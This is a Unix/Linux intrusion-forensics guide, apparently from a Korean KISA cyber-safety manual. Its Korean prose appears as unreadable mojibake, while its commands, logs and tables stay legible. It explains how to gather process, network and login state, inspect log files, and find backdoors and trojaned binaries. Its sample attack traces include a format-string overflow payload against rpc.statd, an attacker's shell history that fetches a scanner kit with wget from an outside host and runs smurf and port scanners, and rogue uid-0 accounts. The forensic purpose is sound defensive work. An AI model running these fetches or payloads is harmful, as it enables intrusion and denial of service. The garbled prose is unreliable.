Unix/Linux ½Ã½ºÅÛ ºÐ¼®
°¡. ½Ã½ºÅÛ »óÅ ÀÚ·á ¼öÁý
½Ã½ºÅÛ¿¡ ´ëÇÑ »óÅ¿¡ ´ëÇÑ Á¤º¸¼öÁýÀº ¿î¿µÃ¼Á¦¿¡¼ ±âº»ÀûÀ¸·Î Á¦°øÇÏ´Â ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÌ¿ëÇÏ¿©, ÇÇÇØ ½Ã½ºÅÛÀÇ ÇöÀç ÇÁ·Î¼¼½º, ¿¸° ÆÄÀÏ, ·Î±×ÀÎ »ç¿ëÀÚ Á¤º¸, ³×Æ®¿öÅ© »óÅ µîÀ» ¼öÁýÇÒ ¼ö ÀÖ´Ù.
¸í·É¾î |
¼³¸í |
ps -elf ¶Ç´Â ps -aux |
ÇöÀç ½Ã½ºÅÛ¿¡¼ ¼öÇàÁßÀÎ ÇÁ·Î¼¼½º Á¤º¸ |
netstat -an |
ÇöÀç ³×Æ®¿öÅ© È°µ¿¿¡ ´ëÇÑ Á¤º¸ |
lsof |
ps¿Í netstat¸¦ ´ëüÇÒ ¼ö ÀÖ´Â °ÍÀ¸·Î Çö ½Ã½ºÅÛÀÇ ¸ðµç ÇÁ·Î¼¼½º¿Í ÇÁ·Î¼¼½º°¡ »ç¿ëÇÏ´Â Æ÷Æ® ¹× ¿¸° ÆÄÀÏ Á¤º¸ |
last |
»ç¿ëÀÚ, Å͹̳ο¡ ´ëÇÑ ·Î±×ÀÎ, ·Î±×¾Æ¿ô Á¤º¸ |
who |
ÇöÀç ½Ã½ºÅÛ¿¡ ÀÖ´Â »ç¿ëÀÚ Á¤º¸ |
find / -ctime -ndays -ls
|
ndays ÀÌÀü ½ÃÁ¡ºÎÅÍ ÇöÀç±îÁö ctimeÀÌ º¯°æµÈ ¸ðµç ÆÄÀÏ¿¡ ´ëÇÑ Á¤º¸ |
nmap |
³×Æ®¿öÅ© Á¡°Ë µµ±¸ÀÎ nmapÀ» ÀÌ¿ëÇÏ¿© ¿ø°Ý¿¡¼ ÇÇÇØ ½Ã½ºÅÛÀÇ ¿¸° Æ÷Æ® Á¡°Ë | ¡Ü¡°ps -aux¡±¸í·ÉÀº °¢ ÇÁ·Î¼¼½ºÀÇ »ç¿ëÀÚ, ÇÁ·Î¼¼½º ID, CPUÁ¡À¯À², ¸Þ¸ð¸®»ç¿ë·ü, ÇÁ·Î¼¼½º°¡ µ¿ÀÛÁßÀÎ TTY, ÇÁ·Î¼¼½º»óÅÂ, ÇÁ·Î¼¼½º ½ÃÀ۽ð£ ¹× µ¿À۽ð£, ÇÁ·Î¼¼½º°¡ »ç¿ëÁßÀÎ ¸í·ÉµéÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù.
# ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 1.6 0.7 1336 476 ? S 18:29 0:04 init root 2 0.0 0.0 0 0 ? SW 18:29 0:00 [keventd] root 3 0.0 0.0 0 0 ? SW 18:29 0:00 [kapmd] root 4 0.0 0.0 0 0 ? SWN 18:29 0:00 [ksoftirqd_CPU0] root 5 0.0 0.0 0 0 ? SW 18:29 0:00 [kswapd] root 6 0.0 0.0 0 0 ? SW 18:29 0:00 [bdflush] root 7 0.0 0.0 0 0 ? SW 18:29 0:00 [kupdated] root 8 0.0 0.0 0 0 ? SW 18:29 0:00 [mdrecoveryd] root 12 0.0 0.0 0 0 ? SW 18:29 0:00 [kjournald] root 64 0.0 0.0 0 0 ? SW 18:29 0:00 [khubd] root 157 0.0 0.0 0 0 ? SW 18:30 0:00 [kjournald] root 422 0.0 0.0 0 0 ? SW 18:30 0:00 [eth0] root 489 0.0 0.9 1396 568 ? S 18:30 0:00 syslogd -m 0 root 493 0.0 0.6 1336 420 ? S 18:30 0:00 klogd -x rpc 504 0.0 0.8 1484 532 ? S 18:30 0:00 portmap rpcuser 523 0.0 1.1 1528 724 ? S 18:30 0:00 rpc.statd root 602 0.0 0.7 1328 472 ? S 18:30 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript root 640 0.0 2.3 3272 1440 ? S 18:30 0:00 /usr/sbin/sshd | ¡Ü netstat -an ¡°netstat -an¡±¸í·ÉÀ» ÅëÇØ ÇöÀç ³×Æ®¿öÅ© ¿¬°á»óÅÂ, ¿¬°á¿¡ »ç¿ëµÈ ·ÎÄþîµå·¹½º¿Í Æ÷Æ®, ¿¬°á¿¡ »ç¿ëµÈ ¿ø°ÝÁö¾îµå·¹½º¿Í Æ÷Æ®, ¿¬°á»óŸ¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
# netstat -an Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:1024 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:1025 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 20 172.16.5.28:22 172.16.5.19:3098 ESTABLISHED udp 0 0 0.0.0.0:1024 0.0.0.0:* udp 0 0 0.0.0.0:111 0.0.0.0:* | ¡Ü lsof lsof´Â ½Ã½ºÅÛ¿¡¼ ÇöÀç ½ÇÇàµÇ°í ÀÖ´Â ¸ðµç ÇÁ·Î¼¼½º¸¦ Áß½ÉÀ¸·Î °¢°¢ÀÇ ÇÁ·Î¼¼½ºÀ̸§ ¹× PID, Running ÇÁ·Î¼¼½º¿Í ¿¬°üµÈ ¼ÒÀ¯ÀÚ, FD(File Descriptor), ÆÄÀÏ Å¸ÀÔ, µð¹ÙÀ̽º¹øÈ£, ÆÄÀÏ Å©±â, Inode ¹øÈ£, ÆÄÀÏÀ̸§µîÀÇ Á¤º¸¸¦ º¼ ¼ö ÀÖÀ¸¸ç, -i¿É¼ÇÀ» ÀÌ¿ëÇÒ °æ¿ì TCP/UDP ¼ÒÄÏÀ» »ç¿ëÇÏ´Â ÇÁ·Î¼¼½º¸¦ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
# lsof -i COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME portmap 504 rpc 3u IPv4 990 UDP *:sunrpc portmap 504 rpc 4u IPv4 991 TCP *:sunrpc (LISTEN) rpc.statd 523 rpcuser 4u IPv4 1061 UDP *:1024 rpc.statd 523 rpcuser 6u IPv4 1064 TCP *:1024 (LISTEN) sshd 640 root 3u IPv4 1380 TCP *:ssh (LISTEN) xinetd 654 root 5u IPv4 1426 TCP MyLinux:1025 (LISTEN) xinetd 654 root 6u IPv4 1429 TCP *:ftp (LISTEN) sendmail 677 root 4u IPv4 1476 TCP MyLinux:smtp (LISTEN) mysqld 747 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 774 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 775 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 776 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 777 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 778 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 817 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 818 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 820 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) mysqld 823 mysql 3u IPv4 1601 TCP *:mysql (LISTEN) X 850 root 1u IPv4 1726 TCP *:x11 (LISTEN) sshd 859 root 4u IPv4 1758 TCP 172.16.5.28:ssh->172.16.5.19:3098 (ESTABLISHED) | ³ª. ½Ã½ºÅÛ »óÅ ÀÚ·á ºÐ¼®
¡Ü ¼öÁýÇÑ Á¤º¸ ºÐ¼®
¸í·É¾î |
¼³¸í |
ps |
sniffer ¶Ç´Â Ãë¾àÁ¡ ½ºÄµ ÇÁ·Î±×·¥ µî °ø°Ý ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ°í ÀÖ´ÂÁö È®ÀÎ |
netstat |
¼ºñ½ºÇÏÁö ¾Ê´Â Æ÷Æ®°¡ ¿·Á ÀÖ´ÂÁö ¶Ç´Â ÀÌ»óÇÑ »çÀÌÆ®·Î Á¢¼ÓÀÌ ÀÖ´ÂÁö È®ÀÎ |
lsof |
°ø°Ý ÇÁ·Î±×·¥ÀÌ ½ÇÇàµÇ°í ÀÖ´ÂÁö ¶Ç´Â ¼ºñ½ºÇÏÁö ¾Ê´Â Æ÷Æ®°¡ ¿·Á ÀÖ´ÂÁö È®ÀÎ (ps¿Í netstat ±â´É ´ëü |
last |
»ç¿ëÇÏÁö ¾Ê´Â °èÁ¤ ¶Ç´Â ÀÌ»óÇÑ »çÀÌÆ®¿¡¼ ·Î±×ÀÎÇÑ Á¤º¸°¡ ÀÖ´ÂÁö È®ÀÎ |
who |
ÇöÀç ´©°¡ Á¢¼ÓÇØ ÀÖ´ÂÁö È®ÀÎ |
find / -ctime -ndays -ls
|
ndays ÀÌÀü ½ÃÁ¡ºÎÅÍ ÇöÀç±îÁö ctimeÀÌ º¯°æµÈ ¸ðµç ÆÄÀÏ¿¡ ´ëÇÑ Á¤º¸ |
nmap |
³×Æ®¿öÅ© ¹éµµ¾î¸¦ °¡Àå »¡¸® ãÀ» ¼ö ÀÖ´Â ¹æ¹ýÀ¸·Î, ÇÇÇØ ½Ã½ºÅÛ¿¡ ÀÌ»óÇÑ Æ÷Æ®°¡ ¿·ÁÀÖ´ÂÁö¸¦ È®ÀÎ | ¡Ü °ø°Ý ½Ã°£´ë¸¦ Áß½ÉÀ¸·Î ºÐ¼® - »ç°í½Ã½ºÅÛ¿¡ ³²Àº ·Î±× µîÀ» ÅëÇÏ¿© °ø°Ý½Ã°£ÀÌ È®ÀÎ °¡´ÉÇÑ °æ¿ì # find / -mtime -6 -ls : ÇöÀç·ÎºÎÅÍ 6ÀÏ ÀÌÀü±îÁö º¯°æµÈ ÆÄÀÏÀ» Á¡°Ë - °ø°Ý½Ã°£´ë¸¦ ¾Ë ¼ö ¾ø´Â °æ¿ì¿¡´Â ÆÄÀÏÀÇ inode º¯°æ½Ã°£(ctime)À» Á¡°Ë # find / -ctime -ndays -ls : Áö³ n ³¯Â¥µ¿¾È ¼öÁ¤µÈ inode¸¦ °®´Â ¸ðµç ÆÄÀÏÀ» Á¡°Ë
´Ù. Àß ¾Ë·ÁÁø °ø°Ý±â¹ý¿¡ ´ëÇÑ ºÐ¼®
¡Ü ½Ã½ºÅÛÀÇ ¸ðµç ·Î±× ÆÄÀÏ °Ë»ç history ·Î±×¸¦ Á¦¿ÜÇÑ ·Î±×ÆÄÀϵéÀ» À¯´Ð½º /usr/adm ¶Ç´Â /var/adm µð·ºÅ丮¿¡ ÀúÀåÇÏ °í, ¸®´ª½º´Â /var/log µð·ºÅ丮¿¡ ÀúÀåÇÑ´Ù.
¸í·É¾î |
¼³¸í |
aculog |
Dial-out ¸ðµ© »ç¿ë ³»¿ª |
history |
»ç¿ëÀÚº° ¸í·É¾î |
lastlog |
»ç¿ëÀÚ ÃÖ±Ù ·Î±×ÀÎ ½Ã°£ |
loginlog |
½ÇÆÐÇÑ ·Î±×ÀÎ ½Ãµµ |
maillog |
¸ÞÀÏ ½Ã½ºÅÛ ¼öÇà ³»¿ª |
messages
|
ºÎÆýÃÀÇ ½Ã½ºÅÛ ÄÝ¼Ö ³»¿ë |
secure |
½Ã½ºÅÛ ±ÇÇÑ °ü·Ã ·Î±× |
sulog |
su ¸í·É »ç¿ë ³»¿ª |
utmpx |
ÇöÀç ·Î±×ÀÎÇÑ »ç¿ëÀÚ ³»¿ª |
vold.log |
¿ÜºÎ ¸Åü »ç¿ë¿¡ ´ëÇÑ ¿¡·¯ µé |
wtmpx |
»ç¿ëÀÚÀÇ ·Î±×ÀÎ, ·Î±×¾Æ¿ô ½Ã°£ |
xferlog |
ftp »ç¿ë ³»¿ª | ·Î±× ÆÄÀÏÀ» °Ë»çÇÒ ¶§´Â ÁÖ·Î messages, last, secureµîÀÇ ·Î±×¸¦ »ìÆì ¿ÜºÎ¿¡¼ °ø°ÝÇÑ °ø°Ý·Î±×°¡ ³²¾ÆÀÖ´ÂÁö, °ü¸®ÀÚ°¡ Ãß°¡ÇÏÁö ¾ÊÀº »ç¿ëÀÚ°¡ Á¢¼ÓÇÑ ÈçÀûÀº ÀÖ´ÂÁö, ƯÁ¤ÇÑ ¼ºñ½º¿¡ Á¢¼ÓÇÑ ÈçÀû µîÀÌ ÀÖ´ÂÁö È®ÀÎÇØ º¸¾Æ¾ß ÇÑ´Ù.
¿¹) ¹öÆÛ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ¹ÞÀ» ¶§ messages¿¡ ³²´Â ·Î±×
Jan 15 09:16:53 roo1-03 rpc.statd[838]: gethostbyname errorfor ^X??X??Z??Z??8x%8x%8x%8x%8x%8%62716x%hn%51859x%hn\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ | ¿¹) °ü¸®ÀÚ°¡ Ãß°¡ÇÏÁö ¾ÊÀº »ç¿ëÀÚ°¡ Á¢¼ÓÇØ secure¿¡ ³²Àº ·Î±×
Feb 3 00:23:54 localhost sshd[1515]: Accepted password for amc from 80.97.191.237 port 1145 Feb 3 02:04:27 localhost sshd[1662]: Accepted password for amc from 80.97.158.154 port 59786 Feb 3 02:19:12 localhost sshd[1842]: Accepted password for amc from 80.97.158.154 port 59891 Feb 3 05:48:36 localhost sshd[3149]: Accepted password for amc from 80.97.158.154 port 41685 Feb 3 06:08:20 localhost sshd[3301]: Accepted password for amc from 80.97.158.154 port 41698 Feb 3 23:07:03 localhost sshd[8532]: Accepted password for amc from 80.97.191.142 port 1334 | ¡Ü history ÆÄÀÏ Á¡°Ë - root³ª ÀǽÉÀÌ °¡´Â »ç¿ëÀÚÀÇ history ÆÄÀÏÀ» Á¡°ËÇÑ´Ù. Linux : # more bash_history : »ç¿ëÀÚÀÇ È¨ µð·ºÅ丮¿¡¼ Á¡°Ë Solaris : # more .history : / µð·ºÅ丮¿¡¼ Á¡°Ë
¿¹) bash_history ·Î±×¸¦ ÅëÇØ ÀÇ½É °¡´Â °èÁ¤ÀÇ »ç¿ëÀÚ°¡ ÇÑ ÀÛ¾÷À» º¼ ¼ö ÀÖ´Ù.
# more .bash_history|more cd /tmp wget esk.as/scanall.tar.gz tar -zxvf scanall.tar.gz ./smurf5 213 ./sl3 21 cd scanall ./sl3 21 dir ./x2 21 ... | ¡Ü /etc/passwd ÆÄÀÏ Á¡°Ë - °ü¸®ÀÚ°¡ »ý¼ºÇÏÁö ¾ÊÀº »õ·Î¿î °èÁ¤À̳ª, uid=0ÀÎ °èÁ¤, Æнº¿öµå°¡ ¾ø´Â °èÁ¤ÀÌ ÀÖ´ÂÁö È®ÀÎÇÑ´Ù. # ls -al /etc/passwd
¿¹) /etc/passwdÆÄÀÏ¿¡ °ü¸®ÀÚ°¡ ¸¸µéÁö ¾ÊÀº uid=0ÀÎ °èÁ¤ÀÌ ÀÖ´Â °æ¿ì
# more /etc/passwd cgm:x:0:510::/home/cgm:/bin/bash bind:x:0:511::/home/bind:/bin/bash | ¡Ü ¼û°ÜÁø µð·ºÅ丮 Á¡°Ë - ¡° .¡±À̳ª¡°..¡±À¸·Î ½ÃÀÛÇÏ´Â µð·ºÅ丮¸¦ ¸¸µé°Å³ª, ÀÌ´Â °ü¸®ÀÚ°¡ ¾Æ¹«·± ¿É¼Ç ¾øÀÌ¡°ls¡±¸í·ÉÀ» »ç¿ëÇßÀ» ¶§´Â º¸ÀÌÁö ¾Ê°Ô µÈ´Ù. # find / -name¡° ..*¡±-print ¶Ç´Â # find / -name¡° .*¡±-print
¡Ü °ø°ÝÀÚ°¡ ÀÚÁÖ »ç¿ëÇÏ´Â µð·ºÅ丮 Á¡°Ë - /dev, /var, °¢Á¾ /tmp µð·ºÅ丮, write°¡´ÉÇÑ µð·ºÅ丮¿¡ °ø°Ý¿ë ÆÄÀÏ/µð·ºÆ®¸®¸¦ ¼³Ä¡ÇÏ´Â °æ¿ì°¡ ¸¹°í, ƯÈ÷ /dev µð·ºÅ丮´Â ·çƮŶÀ̳ª ¹éµµ¾î ¼³Á¤ÆÄÀÏÀÇ µðÆúÆ® µð·ºÅ丮·Î ¸¹ÀÌ »ç¿ëµÈ´Ù. # find /dev -type f -print -/dev µð·ºÅ丮´Â ÀϹÝÆÄÀÏÀÌ Á¸ÀçºÒ°¡´É
¡Ü ¹éµµ¾î ÆÄÀÏ Á¡°Ë - »ç¿ëÀÚ È¨ µð·ºÅ丮ÀÇ¡°.rhosts¡±ÆÄÀÏ, ¡°.forward¡±ÆÄÀÏ, ¡°etc/inetd.conf¡±ÆÄÀÏ, ¡°/etc/services¡±ÆÄÀÏ, /etc/rc.d/ µð·ºÅ丮³»ÀÇ ÆÄÀϵ鿡 ÀÌ»óÇÑ Æ÷Æ®³ª ¼ºñ½º°¡ ¿·Á ÀÖ´ÂÁö Á¡°ËÇÑ´Ù.
¡Ü ½Ã½ºÅÛ³¯Â¥ º¯°æ È®ÀÎ - /bin µð·ºÅ丮³ª /sbin µð·ºÅ丮 µî ½Ã½ºÅÛ ÆÄÀϵéÀÇ ³¯Â¥°¡ º¯°æµÇ¾ú´ÂÁö¸¦ Á¡°ËÇÑ´Ù. - ÀÚÁÖ »ç¿ëµÇ´Â ÇÁ·Î±×·¥ÀÇ ÆÄÀÏ »çÀÌÁ ¶È°°Àº ¹öÀüÀÇ ´Ù¸¥ ½Ã½ºÅÛÀÇ ÇÁ·Î±×·¥°ú ºñ±³Çϰųª ½Ã½ºÅÛ ¸í·ÉµéÀº OS¸¦ ¼³Ä¡ÇÒ ¶§ ÇѲ¨¹ø¿¡ ¼³Ä¡µÇ¹Ç·Î ºñ½ÁÇÑ ½Ã°£¼Ó¼ºÀ» °¡Áö°í ÀÖ¾î¾ß ÇϹǷΠÇØ´çÇÁ·Î±×·¥ÀÇ »ý¼º³¯Â¥ ¶Ç´Â º¯°æ ³¯Â¥¸¦ ´Ù¸¥ ÇÁ·Î±×·¥ÀÇ ³¯Â¥¿Í ºñ±³ÇÔÀ¸·Î½á º¯Á¶À¯¹«¸¦ ¾Ë ¼ö ÀÖ´Ù. # ls -alct /bin ¶Ç´Â # ls -alct /sbin
¿¹) ps, netstatÀ» º¯Á¶½ÃÅ°°í ¿ø·¡ÀÇ ps, netstatÆÄÀÏÀ» .ps, .netstat·Î ¹Ù²Û °æ¿ì
# ls -alct|more ÇÕ°è 6268 drwxr-xr-x 20 root root 4096 1¿ù 17 17:06 ../ drwxr-xr-x 2 root root 4096 12¿ù 16 08:35 ./ -rwxr-xr-x 1 root root 232 12¿ù 16 08:35 netstat* -rwxr-xr-x 1 root root 305 12¿ù 16 08:35 ps* -rwxrwxrwx 1 root 50 206 12¿ù 16 08:35 xnet* -rwxrwxrwx 1 root 50 260 12¿ù 16 08:35 xps* -rwxrwxrwx 1 root 50 218 12¿ù 9 23:52 .netstat* -rwxrwxrwx 1 root 50 257 12¿ù 9 23:52 .ps* | - ½Ã½ºÅÛ ÆÄÀϵéÀÌ ½ÇÇàµÉ ¶§ È£ÃâµÇ´Â ½Ã½ºÅÛ ÄÝ°ú Á¤»óÀûÀÎ ÇÁ·Î±×·¥ÀÇ ½Ã½ºÅÛ ÄÝÀ» ºñ±³ ÇÔÀ¸·Î½á ½Ã½ºÅÛ ¸í·ÉÀÇ º¯Á¶ À¯¹«¸¦ È®ÀÎÇÒ ¼ö ÀÖÀ¸¸ç strace(Linux), truss(Solaris) ¸í·É À» ÀÌ¿ëÇØ È®ÀÎÇÒ ¼ö ÀÖ´Ù.
# truss -t open /usr/bin/ls open¡°( /var/ld/ld.config¡±, O_RDONLY) Err#2 ENOENT open¡°( /usr/lib/libintl.so.1¡±, O_RDONLY) = 3 open¡°( /dev/zero¡±, O_RDONLY) = 4 open¡°( /usr/lib/libc.so.1¡±, O_RDONLY) = 3 open¡°( /usr/lib/libdl.so.1¡±, O_RDONLY) = 3 open¡°( /usr/platform/SUNW,Ultra-60/lib/libc_psr.so.1¡±, O_RDONLY) = 3 open¡°( /usr/include/fs.h¡±, O_RDONLY) = 3 open64¡°( .¡±, O_RDONLY|O_NDELAY) = 3 | Ãâó -Çѱ¹Á¤º¸º¸È£ÁøÈï¿ø »çÀ̹ö¾ÈÀü¸Þ´º¾ó Áß
|
|